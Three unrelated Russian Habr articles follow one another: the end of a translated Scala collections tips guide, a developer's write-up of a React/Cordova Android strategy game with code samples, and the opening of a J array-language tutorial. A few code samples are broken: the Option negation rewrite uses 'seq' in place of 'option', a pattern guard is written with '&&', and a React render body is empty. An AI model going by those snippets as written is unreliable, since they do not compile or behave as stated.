Из-за того, что `Seq(...)` создает строгую коллекцию (а именно, [Vector](https://www.scala-lang.org/api/current/index.html#scala.collection.immutable.Vector)), мы можем захотеть использовать `toSeq` для преобразования нестрогой сущности (как `Stream`, `Iterator` или `view`) к строгой коллекции. Однако `TraversableOnce.toSeq` на самом деле возвращает `Stream`, являющийся ленивой коллекцией, что может привести к труднонаходимым багам и проблемам с производительностью. Даже если вы изначально ожидали стрим, подобное выражение может ввести в заблуждение тех, кто читает ваш код.
А вот и типичный пример ловушки:
```
val source = Source.fromFile("lines.txt")
val lines = source.getLines.toSeq
source.close()
lines.foreach(println)
```
Такой код выбросит `IOException`, сетующий на то, что стрим уже закрыт.
Чтобы ясно обозначить наши намерения, лучше добавить `toStream` явно или, если нам после всего потребуется строгая коллекция, использовать `toVector` вместо `toSeq`.
#### Не приводите к строковому типу вручную
```
// До (seq: Seq[String])
seq.reduce(_ + _)
seq.reduce(_ + separator + _)
seq.fold(prefix)(_ + _)
seq.map(_.toString).reduce(_ + _) // seq: Seq[T]
seq.foldLeft(new StringBuilder())(_ append _)
// После
seq.mkString
seq.mkString(prefix, separator, "")
```
Последний подход чище и потенциально быстрее, так как внутри он использует единственный `StringBuilder`.
* Другие возможные методы: `reduceLeft`, `reduceRight`, `foldLeft`, `foldRight`.
* Также применимо к: `Set`, `Option`, `Iterator`.
5. Множесва (Sets)
------------------
Большинство советов для последовательностей так же хорошо работают и для множеств. Более того, для множеств есть несколько специфичных советов.
#### Не используйте `sameElements` для сравнения неупорядоченных коллекций
```
// До
set1.sameElements(set2)
// После
set1 == set2
```
Ранее мы уже ознакомились с этим правилом (на примере последовательностей), однако для множеств обоснование будет наиболее логичным.
Метод `sameElements` может возвращать недетерминированные результаты для неупорядоченных коллекций, потому что этот метод принимает во внимание порядок элементов, на который мы не можем полагаться в случае с множествами.
Исключениями из правила будут классы, которые явно гарантируют предсказуемый порядок итерации: например, `LinkedHashSet`.
Также применимо к: `Map`.
#### Используйте экземпляр Set как объект-функцию
```
// До (set: Set[Int])
Seq(1, 2, 3).filter(set(_))
Seq(1, 2, 3).filter(set.contains)
// После
Seq(1, 2, 3).filter(set)
```
Так как `Set[T]` также явялется экземпляром `Function1[T, Boolean]`, вы можете использовать его в этом качестве.
#### Не вычисляйте пересечения множеств вручную
```
// До
set1.filter(set2.contains)
set1.filter(set2)
// После
set1.intersect(set2) // или set1 & set2
```
При схожей производительности, последнее выражение будет яснее и выразительней.
Такое преобразование применимо и к последовательностям, однако стоит учесть, что в таком случае в работе с повторяющимися элементами потребуется особый подход.
#### Не вычисляйте разницу множеств вручную
```
// До
set1.filterNot(set2.contains)
set1.filterNot(set2)
// После
set1.diff(set2) // или set1 &~ set2
```
Опять же, при схожей производительности, обновленное выражение будет более ясными выразительным.
Потенциально, такое преобразование можно применить и к последовательностям, однако нам следует принять во внимание наличие дубликатов.
6. Options
----------
Технически `Option` не является частью Scala коллекций, однако предоставляет похожий интерфейс (с монадическими методами и т.д.) и даже ведет себя как специальный тип коллекций, который может иметь, а может и не иметь какое-то значение.
Многие из приведенных советов для последовательностей применимы и к Option. Кроме того, здесь представлены советы, характерные для `Option` API.
### 6.1 Значение
#### Не сравнивайте значения Option с `None`
```
// До
option == None
option != None
// После
option.isEmpty
option.isDefined
```
При том, что сравнение является вполне законным, есть более простой способ, который позволяет проверить объявлен ли `Option`.
Еще одно преимущество данного упрощения в том, что если вы решите изменить тип от `Option[T]` к `T`, scalac скомпилирует предшествующее выражение (выдав только одно предупреждение), тогда как компиляция последнего справедливо закончится ошибкой.
#### Не сравнивайте значения `Option` с `Some`
```
// До
option == Some(v)
option != Some(v)
// После
option.contains(v)
!option.contains(v)
```
Этот совет дополняет предыдущий.
#### Не полагайтесь `isInstanceOf` для проверки наличия элемента
```
// До
option.isInstanceOf[Some[_]]
// После
option.isDefined
```
В подобном трюкачестве нет нужды.
#### Не прибегайте к сопоставлению с образцом для проверки существования
```
// До
option match {
case Some(_) => true
case None => false
}
option match {
case Some(_) => false
case None => true
}
// После
option.isDefined
option.isEmpty
```
Опять же, первое выражение и является корректным — оправдывать подобную экстравагантность не стоит. Более того, упрощенное выражение будет работать быстрее.
Также применимо к: `Seq`, `Set`.
#### Не отрицайте значения свойств, связанных с существованием
```
// До
!option.isEmpty
!option.isDefined
!option.nonEmpty
// После
seq.isDefined
seq.isEmpty
seq.isEmpty
```
Причина та же, что и для последовательностей — простое свойство добавит меньше визуального шума, нежели составное выражение.
Заметьте, что у нас есть синонимы: `isDefined` (специфичный для option) и `nonEmpty` (специфичный для последовательностей). Возможно, было бы разумно отдать предпочтение первому для явного отделения `Option` и последовательностей.
### 6.2 Null
#### Не выполняйте явное сравнение значений с `null`, чтобы создать `Option`
```
// До
if (v != null) Some(v) else None
// После
Option(v)
```
Для этого у нас есть более подходящий синтаксис.
#### Не предоставляйте `null` как явную альтернативу
```
// До
option.getOrElse(null)
// После
option.orNull
```
В этом случае мы можем полагаться на предопределенный метод, делая выражение короче.
### 6.3 Обработка
Можно выделить группы советов, связанные с тем, как обрабатываются значения `Option`.
В [документации](https://www.scala-lang.org/api/current/index.html#scala.Option), посвященной интерфейсу `Option`, говорится, что «самый идиоматичный способ использования экземпляра `Option` — это рассмотрение его в качестве коллекции или монады на ряду с использованием `map`, `flatMap`, `filter` или `foreach`». Основной принцип здесь заключается в том, чтобы избегать "check & get" (*проверь и возьми*) цепочек, которые обычно реализуются через оператор `if` или сопоставлением с образцом.
Цель — надежность, выразительность и «монадический» код:
* более выразительный и понятный,
* защищенный от `NoSuchElementException` и `MatchError` ислючений во время выполнения
Это объяснение объединяет все последующие случаи.
#### Не эмулируйте `getOrElse`
```
// До
if (option.isDefined) option.get else z
option match {
case Some(it) => it
case None => z
}
// После
option.getOrElse(z)
```
#### Не эмулируйте `orElse`
```
// До
if (option1.isDefined) option1 else option2
option1 match {
case Some(it) => Some(it)
case None => option2
}
// После
option1.orElse(option2)
```
#### Не эмулируйте `exists`
```
// До
option.isDefined && p(option.get)
if (option.isDefined) p(option.get) else false
option match {
case Some(it) => p(it)
case None => false
}
// После
option.exists(p)
```
#### Не эмулируйте `forall`
```
// До
option.isEmpty || (option.isDefined && p(option.get))
if (option.isDefined) p(option.get) else true
option match {
case Some(it) => p(it)
case None => true
}
// После
option.forall(p)
```
#### Не эмулируйте `contains`
```
// До
option.isDefined && option.get == x
if (option.isDefined) option.get == x else false
option match {
case Some(it) => it == x
case None => false
}
// После
option.contains(x)
```
#### Не эмулируйте `foreach`
```
// До
if (option.isDefined) f(option.get)
option match {
case Some(it) => f(it)
case None =>
}
// После
option.foreach(f)
```
#### Не эмулируйте `filter`
```
// До
if (option.isDefined && p(option.get)) option else None
option match {
case Some(it) && p(it) => Some(it)
case _ => None
}
// После
option.filter(p)
```
#### Не эмулируйте `map`
```
// До
if (option.isDefined) Some(f(option.get)) else None
option match {
case Some(it) => Some(f(it))
case None => None
}
// После
option.map(f)
```
#### Не эмулируйте `flatMap`
```
// До (f: A => Option[B])
if (option.isDefined) f(option.get) else None
option match {
case Some(it) => f(it)
case None => None
}
// После
option.flatMap(f)
```
### 6.4 Перерабатываем
#### Приводим цепочку из `map` и `getOrElse` в `fold`
```
// До
option.map(f).getOrElse(z)
// После
option.fold(z)(f)
```
Приведенные выражения семантически эквиваленты (в обоих случаях `z` будет вычислен лениво — по требованию), однако последнее выражение короче. Преобразование может требовать дополнительного указания типа (из-за особенностей работы вывода типов в Scala), и в таких случаях предыдущее выражение предпочтительнее.
Имейте в виду, что упрощение это весьма [противоречиво](https://www.reddit.com/r/scala/comments/2z411u/scala_collections_tips_and_tricks/cqiip08/) из-за того, что последнее выражение выглядит менее ясно, особенно если вы к нему не привыкли.
#### Не эмулируйте `exists`
```
// До
option.map(p).getOrElse(false)
// После
option.exists(p)
```
Мы представили довольно похожее правило для последовательностей (которое применимо и к `Option`). Нетипичное преобразование для вызова `getOrElse`.
#### Не эмулируйте `flatten`
```
// До (option: Option[Option[T]])
option.map(_.get)
option.getOrElse(None)
// После
option.flatten
```
Последнее выражение смотрится чище.
#### Не конвертируйте `Option` в `Seq` вручную
```
// До
option.map(Seq(_)).getOrElse(Seq.empty)
option.getOrElse(Seq.empty) // option: Option[Seq[T]]
// После
option.toSeq
```
Для этого есть специальный метод, который делает это кратко и наименее затратно.
7. Таблицы
----------
Как и с другими типами коллекций, многие советы для последовательностей применимы и к таблицам, поэтому перечислим только характерные для таблиц.
#### Не выполняйте поиск значений вручную
```
// До
map.find(_._1 == k).map(_._2)
// После
map.get(k)
```
В принципе, первый фрагмент кода будет работать, однако производительность будет неоптимальной из-за того, что `Map` не является простой коллекцией пар (ключ, значение) — она может выполнять поиск куда более эффективным способом. Более того, последнее выражение проще и легче для понимания.
#### Не используйте `get`, когда необходимо сырое значение
```
// Before
map.get(k).get
// After
map(k)
```
Нет необходимости плодить промежуточный `Option`, когда необходимо сырое *(raw)* значение.
#### Не используйте `lift` вместо `get`
```
// Before
map.lift(k)
// After
map.get(k)
```
Незачем рассматривать значение таблицы, как частичную функцию для получения опционального результата (что полезно для последовательностей), потому что у нас есть встроенный метод с такой же функциональностью. Хотя `lift` отлично работает, он выполняет дополнительное преобразование (от `Map` до`PartialFunction`) и может выглядеть весьма запутанным.
#### Не вызывайте `get` и `getOrElse` раздельно
```
// До
map.get(k).getOrElse(z)
// После
map.getOrElse(k, z)
```
Единственный вызов метода проще как синтаксически, так и с точки зрения производительности. В обоих случаях `z` вычисляется лениво, по требованию.
#### Используйте экземпляр Map в качестве объекта-функции
```
// До (map: Map[Int, T])
Seq(1, 2, 3).map(map(_))
// После
Seq(1, 2, 3).map(map)
```
Так как экземпляр Map[K, V] также является Function1[K, V], вы можете использовать его как функцию.
#### Не извлекайте ключи вручную
```
// До
map.map(_._1)
map.map(_._1).toSet
map.map(_._1).toIterator
// После
map.keys
map.keySet
map.keysIterator
```
Оптимизированные выражения являются более понятными (и потенциально более быстрыми).
#### Не извлекайте значения вручную
```
// До
map.map(_._2)
map.map(_._2).toIterator
// После
map.values
map.valuesIterator
```
Упрощенные выражения понятней (и потенциально быстрее).
#### Будьте осторожны с `filterKeys`
```
// До
map.filterKeys(p)
// После
map.filter(p(_._1))
```
Метод `filterKeys` обертывает исходную таблицу без копирования каких-либо элементов. В этом нет ничего плохого, однако вы вряд ли ожидаете от `filterKeys` подобного поведения. Поскольку оно неожиданно ведет так же, как представление, производительность кода может быть существенно снижена для некоторых случаев, например, для `filterKeys(p).groupBy(???)`.
Другой вероятной неприятностью является неожиданная «ленивость» (по умолчанию, фильтры коллекций должны быть строгими) – при вызове самого метода предикат вообще не вычисляется, из-за чего возможные побочные эффекты могут быть переупорядочены.
Метод `filterKeys`, скорее всего, следовало бы объявить устаревшим, из-за невозможности [сделать его строгим](https://issues.scala-lang.org/browse/SI-4776), не сломав обратную совместимость. Более подходящим именем для текущей реализации будет `withKeyFilter` (по аналогии с `withFilter`).
В общем, наиболее разумно будет следовать [Правилу наименьшего удивления](https://en.wikipedia.org/wiki/Principle_of_least_astonishment) и фильтровать ключи вручную.
Тем не менее, поскольку схожая с представлением функциональность `filterKeys` потенциально полезна (когда доступ будет только к небольшому числу записей, в то время как таблица будет относительно большой), мы все же сможем рассмотреть возможность использования этого метода.
Для того, чтобы не вводить в заблуждение людей, читающих (или модифицирующих) наш код, лучшим решением будет подчеркнуть наши намерения, объявив подходящий синоним:
```
type MapView[A, +B] = Map[A, B]
implicit class MapExt[A, +B](val map: Map[A, B]) extends AnyVal {
def withKeyFilter(p: A => Boolean): MapView[A, B] =
map.filterKeys(p)
}
```
Мы используем псевдоним типа `MapView` для того, чтобы обозначить, что результирующая таблица является view-подобной. Другим вариантом будет объявление простого вспомогательного метода:
```
def get(k: T) = if (p(k)) map.get(k) else None
```
#### Будьте осторожны с `mapValues`
```
// До
map.mapValues(f)
// После
map.map(f(_._2))
```
Обоснование такое же, как и в предыдущем случае. Аналогичным способом мы можем объявить недвусмысленный синоним:
```
type MapView[A, +B] = Map[A, B]
implicit class MapExt[A, +B](val map: Map[A, B]) extends AnyVal {
def withValueMapper[C](f: B => C): MapView[A, C] =
map.mapValues(f)
}
```
Проще объявить вспомогательный метод вроде:
```
def get(k: T) = map.get(k).map(f)
```
#### Не отфильтровывайте ключи вручную
```
// До
map.filterKeys(!seq.contains(_))
// После
map -- seq
```
Мы можем полагаться на упрощенный синтаксис, чтобы отфильтровать ключи.
#### Используйте операторы переприсваивания таблиц
```
// До
map = map + x -> y
map1 = map1 ++ map2
map = map - x
map = map -- seq
// После
map += x -> y
map1 ++= map2
map -= x
map --= seq
```
Также, как и с последовательностями, мы можем полагаться на синтаксический сахар для упрощения подобных операторов.
8. Дополнение
-------------
В дополнение к приведенным рецептам я рекомендую вам посмотреть на официальную [документацию библиотеки коллекций Scala](http://docs.scala-lang.org/overviews/collections/introduction.html), которую на удивление легко читать.
Смотрите также:
* [Scala for Project Euler](https://pavelfatin.com/scala-for-project-euler/) — Выразительные функциональные решения проблем проекта Эйлер на Scala.
* [Ninety-nine](https://pavelfatin.com/ninety-nine/) — Девяносто девять проблем на Scala, Java, Clojure и Haskell (с множеством решений).
Эти головоломки оказали мне неоценимую помощь в формировании и углублении понимания коллекций Scala.
Не смотря на обширность вышеприведенного списка, он наверняка далек от завершения. Более того, из-за сильно варьирующейся применимости этих рецептов, некоторая шлифовка определенно потребуется. Ваши предложения приветствуются.
### От переводчика
Большое спасибо Павлу Фатину за разрешение на перевод статьи. Спасибо Ледовских Владу за вычитку перевода (этот абзац никто не вычитывал). Благодарю [firegurafiku](https://habrahabr.ru/users/firegurafiku/) за ценные советы и рекомендации, которые помогли мне в переводе. | https://habr.com/ru/post/333362/ | null | ru | null |
# Как я разработал мобильную игру на Android с использованием React.js и выложил её в Google Play Store
В данной статье рассмотрим все этапы разработки: от зарождения идеи до имплементации отдельных частей приложения, в том числе выборочно будут предоставлены некоторые кастомные куски кода.
Данная статья может быть полезна тем, кто только задумывается или начинает разрабатывать игры или мобильные приложения.
Скриншот готовой игры
---
Порядок заголовков не является структурированным по каким-либо параметрам, кроме хронологической последовательности.
Предыстория
-----------
Добрый день, уважаемые читатели. Конечно же мы с Вами не знакомы, однако если бы были, то Вы бы знали, что ещё с раннего детства после приобретения отцом персонального компьютера у меня была мечта стать разработчиком игр, что в дошкольном возрасте выражалось в "создании" платформеров мелом на асфальте для ребят во дворе, а в школьном - отдельными играми в тетрадках, в том числе и во время уроков.
Разработчиком игр (пока что) так я и не стал, но стал веб-разработчиком, имея на данный момент 8+ лет коммерческого опыта. Однажды на глаза попалась весьма интересная библиотека-фреймворк для создания пошаговых игр, документация которой была незамедлительно изучена. Предлагалось создавать такие игры, как крестики-нолики или шахматы, однако это показалось скучным и мне захотелось пойти дальше - сделать нечто посложнее и похожее на то, во что я играл ещё в детстве. Вероятно, старички заметят некоторое сходство финального результата с той игрой, на которую делался акцент.
Построение и прорисовка мира
----------------------------
Сперва было принято решение создать изометрический мир, который мог бы поддерживать бесконечную прокрутку по горизонтали. После тщательного изучения статей на тему "Как создавать изометрические миры" и им подобных, а также просмотра библиотек для JavaScript и React, которые якобы должны помогать выполнять данную задачу, дело перешло к практике.
Времени на это было потрачено немало и готовых подходящих решений так и не было найдено. Ну что ж, напишем своё. По сути весь наш мир это набор квадратиков-тайлов, которые находятся рядом друг с другом и на соседний квадратик можно перейти в восьми направлениях.
Стартовая позиция игрока, где можно наблюдать изометрический мир, а также возможные направления движенияСперва отрисуем ячейки мира построчно. Пускай они будут размером 64x64 пикселя. Далее развернём наш контейнер таким образом, чтобы он выглядел изометрично:
```
.rotate {
transform: rotateX(60deg) rotateZ(45deg);
transform-origin: left top;
}
```
При имплементации данного подхода к отрисовке можно наблюдать, что необходимые нам "строки" мира на самом деле идут не прямо, а зигзагом, так как мы развернули нашу карту. Таким образом, каждую из ячеек необходимо позиционировать абсолютно с учетом текущего индекса строки, а также индекса колонки:
```
const cellOffsets = {};
export function getCellOffset(n) {
if (n === 0) {
return 0;
}
if (cellOffsets[n]) {
return cellOffsets[n];
}
const result = 64 * (Math.floor(n / 2));
cellOffsets[n] = result;
return result;
}
```
Использование:
```
import { getCellOffset } from 'libs/civilizations/helpers';
// ...
const offset = getCellOffset(columnIndex);
// ...
style={{
transform: `translateX(${(64 * rowIndex) + (64 * columnIndex) - offset}px) translateY(${(64 * rowIndex) - offset}px)`,
}}
```
Для увеличения производительности нам необходимо перерисовывать только те ячейки карты, которые сейчас являются видимыми на экране. Для этого был использован компонент `FixedSizeGrid` из модифицированной версии библиотеки `react-window` с учетом нашего поворота и расположений ячеек, код которого здесь приводить не буду. Из того, что не получилось - это сделать бесконечную прокрутку мира. После изучений исходного различных библиотек для бесконечного скролла / слайдеров и тп. подходящего решения найдено не было. Что ж, значит наш мир будет с границами по всем бокам.
Графика
-------
Для отображения поворотов наших юнитов, а также анимации атаки, используются png-спрайты. Поиск графических элементов занял очень большой промежуток времени, было очень сложно найти хотя бы какие-то картинки возможных юнитов для нашей игры. Изначально ещё до поиска игра выглядела вот так:
Игра до поиска графических элементовВообще сам я не дизайнер и попросить кого-либо нарисовать тоже возможности нет, потому каждый кадр спрайта пришлось ручками размещать в необходимую позицию. Для примера, финальный спрайт вертолёта выглядит вот так:
Спрайт вертолётаЛокализация
-----------
Игра поддерживает 4 языка и, если честно, мне непонятно, зачем в несложных приложениях разработчики подключают массивные библиотеки типа `react-i18next`. Давайте напишем похожее кастомное решение, которое уместится в чуть более чем 100 строк с учетом красивой разметки кода, а также будет поддерживать определение языка девайса пользователя, переключение языков в реальном времени и сохранение последнего выбора пользователя. Здесь используется `redux`, однако данный код можно адаптировать и под другие реактивные хранилища. Да, здесь нет некоторых фишек больших библиотек типа поддержки переменных в строках, однако в таком проекте нам это и не нужно. И да, эту библиотеку можно использовать как легковесную замену `react-i18next` (или подобным) в уже существующем проекте.
```
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { connect } from 'react-redux';
import get from 'lodash/get';
import set from 'lodash/set';
import size from 'lodash/size';
import { emptyObj, EN, LANG, PROPS, langs } from 'defaults';
import { getLang } from 'reducers/global/selectors';
import en from './en';
export function getDetectedLang() {
if (!global.navigator) {
return EN;
}
let detected;
if (size(navigator.languages)) {
detected = navigator.languages[0];
} else {
detected = navigator.language;
}
if (detected) {
detected = detected.substring(0, 2);
if (langs.indexOf(detected) !== -1) {
return detected;
}
}
return EN;
}
const options = {
lang: global.localStorage ?
(localStorage.getItem(LANG) || getDetectedLang()) :
getDetectedLang(),
};
const { lang: currentLang } = options;
const translations = {
en,
};
if (!translations[currentLang]) {
try {
translations[currentLang] = require(`./${currentLang}`).default;
} catch (err) {} // eslint-disable-line
}
export function setLang(lang = EN) {
if (langs.indexOf(lang) === -1) {
return;
}
if (global.localStorage) {
localStorage.setItem(LANG, lang);
}
set(options, [LANG], lang);
if (!translations[lang]) {
try {
translations[lang] = require(`./${lang}`).default;
} catch (err) {} // eslint-disable-line
}
}
const mapStateToProps = (state) => {
return {
lang: getLang(state),
};
};
export function t(path) {
const { lang = get(options, [LANG], EN) } = get(this, [PROPS], emptyObj);
if (!translations[lang]) {
try {
translations[lang] = require(`./${lang}`).default;
} catch (err) {} // eslint-disable-line
}
return get(translations[lang], path) || get(translations[EN], path, path);
}
function i18n(Comp) {
class I18N extends Component {
static propTypes = {
lang: PropTypes.string,
}
static defaultProps = {
lang: EN,
}
constructor(props) {
super(props);
this.t = t.bind(this);
}
componentWillUnmount() {
this.unmounted = true;
}
render() {
return (
);
}
}
return connect(mapStateToProps)(I18N);
}
export default i18n;
```
Использование:
```
import i18n from 'libs/i18n';
// ...
static propTypes = {
t: PropTypes.func,
}
// ...
const { t } = this.props;
// ...
{t(['path', 'to', 'key'])}
// ...или тоже самое, но слегка медленнее
{t('path.to.key')}
// ...
export default i18n(Comp);
```
Мультиплеер
-----------
Игра поддерживает мультиплеер в реальном времени для устройств с Android 9 или выше (возможно, будет работать и на 8-м, однако данное предположение не проверялось) с **рейтингом** и **таблицей лидеров**.
Сам движок не поддерживает ходы в реальном времени, потому многопользовательский режим построен таким образом, что все события происходят в один и тот же ход, в это же время существуют кулдауны на определенные действия, которые реализованы через `requestAnimationFrame`. На Android 7 и ранее такой подход почему-то просто-напросто не работает.
Кастомный код библиотеки, которая регистрирует `requestAnimationFrame`, для интересующихся (не забывайте также, что после регистрации колбека его нужно и отрегистрировать, что обычно происходит по завершении колбека или на анмаут компонента):
```
import isFunction from 'lodash/isFunction';
let lastTime = 0;
const vendors = ['ms', 'moz', 'webkit', 'o'];
for (let x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) {
window.requestAnimationFrame = window[`${vendors[x]}RequestAnimationFrame`];
window.cancelAnimationFrame = window[`${vendors[x]}CancelAnimationFrame`] || window[`${vendors[x]}CancelRequestAnimationFrame`];
}
if (!window.requestAnimationFrame) {
window.requestAnimationFrame = (callback) => {
const currTime = new Date().getTime();
const timeToCall = Math.max(0, 16 - (currTime - lastTime));
const id = window.setTimeout(() => { callback(currTime + timeToCall); },
timeToCall);
lastTime = currTime + timeToCall;
return id;
};
}
if (!window.cancelAnimationFrame) {
window.cancelAnimationFrame = (id) => {
clearTimeout(id);
};
}
let lastFrame = null;
let raf = null;
const callbacks = [];
const loop = (now) => {
raf = requestAnimationFrame(loop);
const deltaT = now - lastFrame;
// do not render frame when deltaT is too high
if (deltaT < 160) {
let callbacksLength = callbacks.length;
while (callbacksLength-- > 0) {
callbacks[callbacksLength](now);
}
}
lastFrame = now;
};
export function registerRafCallback(callback) {
if (!isFunction(callback)) {
return;
}
const index = callbacks.indexOf(callback);
// remove already existing the same callback
if (index !== -1) {
callbacks.splice(index, 1);
}
callbacks.push(callback);
if (!raf) {
raf = requestAnimationFrame(loop);
}
}
export function unregisterRafCallback(callback) {
const index = callbacks.indexOf(callback);
if (index !== -1) {
callbacks.splice(index, 1);
}
if (callbacks.length === 0 && raf) {
cancelAnimationFrame(raf);
raf = null;
}
}
```
Использование:
```
import { registerRafCallback, unregisterRafCallback } from 'client/libs/raf';
// ...
registerRafCallback(this.cooldown);
// ...
componentWillUnmount() {
unregisterRafCallback(this.cooldown);
}
```
Стандартная имплементация `Lobby` из библиотеки движка мне не подходила, так как она открывала ещё одно новое **websocket**-подключение на каждый инстанс игры, но мне также нужно было передавать данные пользователя и таблицу лидеров по своему уже существующему **websocket**-подключению, потому, чтобы не плодить подключения, здесь снова было использовано собственное решение на основе библиотеки `primus`. На стороне клиента подключение хендлится сбилдженной библиотекой от примуса, которое также выложил на npm с именем `primus-client`. Вы можете сами сбилдить себе подобную клиентскую библиотеку для определенной версии примуса через функцию `save` на стороне сервера.
Видео геймплея многопользовательского режима можно наблюдать ниже:
Звук и музыка
-------------
В игре присутствует несколько звуков - старта игры, атаки и победы. Для проигрывания звука - также кастомная библиотека (для музыки - схожий подход):
```
import { SOUND_VOLUME } from 'defaults';
const Sound = {
audio: null,
volume: localStorage.getItem(SOUND_VOLUME) || 0.8,
play(path) {
const audio = new Audio(path);
audio.volume = Sound.volume;
if (Sound.audio) {
Sound.audio.pause();
}
audio.play();
Sound.audio = audio;
},
};
export function getVolume() {
return Sound.volume;
}
export function setVolume(volume) {
Sound.volume = volume;
localStorage.setItem(SOUND_VOLUME, volume);
}
export default Sound;
```
Использование:
```
import Sound from 'client/libs/sound';
// ...
Sound.play('/mp3/win.mp3');
```
Окно настроек игрыСборка проекта
--------------
Сборка web-части осуществляется вебпаком. Однако тут нужно учитывать особенности путей к файлам, ведь в процессе разработке на локалхосте или на сервере в продакшене они являются относительными корня домена, а для приложения в **Cordova** наши файлы будут размещены по протоколу `file://` и потому после сборки нам необходимо провести некоторые преобразования, а именно:
```
const replace = require('replace-in-file');
const path = require('path');
const options = {
files: [
path.resolve(__dirname, './app/*.css'),
path.resolve(__dirname, './app/*.js'),
path.resolve(__dirname, './app/index.html'),
],
from: [/url\(\/img/g, /href="\//g, /src="\//g, /"\/mp3/g],
to: ['url(./img', 'href="./', 'src="./', '"./mp3'],
};
replace(options)
.then((results) => {
console.log('Replacement results:', results);
})
.catch((error) => {
console.error('Error occurred:', error);
});
```
Итоги
-----
Приложение разрабатывалось в течении года, находится в Google Play Store с середины сентября, а значит уже прошло три месяца. Общее количество установок - 46, из которых ещё непонятно, сколько там на самом деле настоящих людей. Если коротко, то это провал. Однако был приобретен первичный опыт как разработки игр, так и мобильных приложений.
Из того, что было задумано, но не получилось:
1. Более сложный геймплей
2. Бесконечная прокрутка карты по горизонтали
3. Продвинутый ИИ компьютера
4. Поддержка мультиплеера на всех устройствах
Можно потыкать?
---------------
Можно. Для интересующихся - [ссылка на приложение на Google Play Store](https://play.google.com/store/apps/details?id=com.hydra.steelcivs).
P.S. Отдельное спасибо музыканту [Anton Zvarych](https://open.spotify.com/artist/3XZOr3nRXHaysRlc2hEdC7?si=2RoPWp0dT1qB4YxphR-Q-A) за предоставленную фоновую музыку.
### Дальнейшие планы
Сейчас понятно, что подобные игры мало кому интересны, так что в прогрессе изучение Unity, и возможно через некоторое время появится ещё одна игра в жанре tactical rts.
Update: игра на Unity под названием Special Tactics RTS появилась и находится в стадии alpha.
<https://hydraorc.itch.io/special-tactics-rts>
<https://play.google.com/store/apps/details?id=com.hydra.specialtactics> | https://habr.com/ru/post/535720/ | null | ru | null |
# Язык программирования J. Взгляд любителя. Часть 3. Массивы
*Предыдущая статья цикла [Язык программирования J. Взгляд любителя. Часть 2. Тацитное программирование](http://habrahabr.ru/post/198066/)*
> *«Я не думаю, что он нам подходит. Я рассказал ему, чем мы занимаемся, и он не стал спорить. Он просто слушал.»
>
> Кен Айверсон после одного из собеседований*
>
>
1. Массивы
----------
J – язык для обработки массивов. Для создания массивов в J есть множество способов. Например:
* «$» — этот глагол возвращает массив, размерность которого указывается в левом операнде, а содержимое — в правом. Создадим массив заданной размерности, все элементы которого одинаковы:
```
3 $ 1 NB. создаем вектор с тремя элементами, каждый из которых = 1
1 1 1
2 3 $ 2 NB. создаем матрицу из 2 строк и 3 столбцов, все элементы которой = 2
2 2 2
2 2 2
```
Можно также правым операндом указывать произвольный вектор, элементы которого будут последовательно копироваться в результирующий массив:
```
2 3 $ 1 2 3
1 2 3
1 2 3
2 3 $ 1 2
1 2 1
2 1 2
2 3 $ 1 2 3 4
1 2 3
4 1 2
```
* «#» — в диадном варианте глагол копирования. Копирует i-й элемент правого операнда столько раз, сколько указано в i-м элементе левого операнда. Таким образом, длина результирующего массива равна сумме элементов x. Пример:
```
1 2 0 3 # 1 2 3 4
1 2 2 4 4 4
4 # 1
1 1 1 1
```
* «i.» создает перечисления и таблицы. В монадном вызове возвращает массив, составленный из целых чисел (начиная с нуля), каждое из которых больше предыдущего на единицу. Длина такого массива задается правым операндом. Если значение операнда отрицательно, то числа в результирующем массиве идут в обратном порядке:
```
i.4 NB. пробел между глаголом и операндом необязателен
0 1 2 3
i._4
3 2 1 0
i.2 3
0 1 2
3 4 5
```
Обратите внимание на последний пример — глагол «i.»возвратил нам двумерный массив, т.к. переданный ему операнд был вектором. Первый элемент операнда указывает на число строк, второй — столбцов. Впрочем, с помощью этого глагола можно получить и n-мерный массив. Например, трехмерный:
```
i.2 _2 3
3 4 5
0 1 2
9 10 11
6 7 8
```
Строки в результирующем массиве идут в обратном порядке, т.к. вторая размерность задана отрицательным числом. Подробней о многомерных массивах мы поговорим в следующем разделе.
В связи с тем, что многие стандартные глаголы J способны обрабатывать массивы данных, можно расширить описанные ранее глаголы на случай массивов.
```
- 1 2 3
_1 _2 _3
```
Диадный случай:
```
1 2 3 - 3 2 1
_2 0 2
```
Кроме того, допустимы и операции над разноранговыми значениями:
```
1 2 3 - 1
0 1 2
```
Тот же результат можно получить и с помощью глагола <:
```
<: 1 2 3
0 1 2
```
Допустима и обратная операция:
```
1 - 1 2 3
0 _1 _2
```
Напомним, что последнее выражение можно записать и как «1 2 3 -~ 1».
Кроме стандартных арифметических глаголов в нашей работе пригодится глагол-генератор псевдослучайных чисел «?». Будучи вызванным с одним операндом «?» возвращает:
* случайное число с плавающей точкой, если операнд равен нулю;
* случайное целое число в промежутке от нуля до y, если операнд равен y.
```
? 0 NB. конечно, у вас результат будет отличаться
0.622471
? 3 NB. вернет случайное число на отрезке [0;2]
2
? 3
0
```
Установить датчик псевдослучайных чисел можно с помощью вызова
```
9!:1 y
```
Начальное значение seed = 7^5.
Как и во всех примерах ранее в этом разделе, глагол «?» можно вызывать с операндом-массивом — результатом будет массив той же размерности, каждым i-м элементом которого будет случайное число на интервале, заданным i-м элементом операнда:
```
? 0 10 100
0.429769 7 95
```
Глагол «?», разумеется, работает не только с векторами, но и, например, с матрицами:
```
? (2 2 $ 0 10)
0.084712 4
0.840877 1
```
2. Части речи для работы с массивами
------------------------------------
Как мы уже знаем, J — язык для обработки массивов. Выражается это, не в последнюю очередь, в том, что при работе с массивами вам практически не придется пользоваться явными итерационными процедурами.
Предположим, вам необходимо найти сумму всех элементов последовательности на подмножестве языка Python. Обобщим эту задачу до стандартной функции свертки:
```
def reduce(xs, f, acc = 0):
"""Пример запуска:
>>> reduce([1,2,3], lambda acc,x: acc + x)
6"""
for x in xs:
acc = f(acc,x)
return acc
```
Для решения таких задач в J есть специальное наречие «/», называемое «между». Действительно, наша функция на питоне эквивалентна следующему выражению «x0 f x1 f … f xN». В терминах J это записывается как «f/ xs», где xs — существительное(вектор), f — глагол, который вставляется «между» элементами существительного xs, «/» — наречие, которое, собственно и осуществляет такое преобразование. Приведем пример:
```
+/ 1 2 3 NB. аналогично «1 + 2 + 3»
6
-/ i.3 NB. аналогично 0 - (1 - 2)
1
```
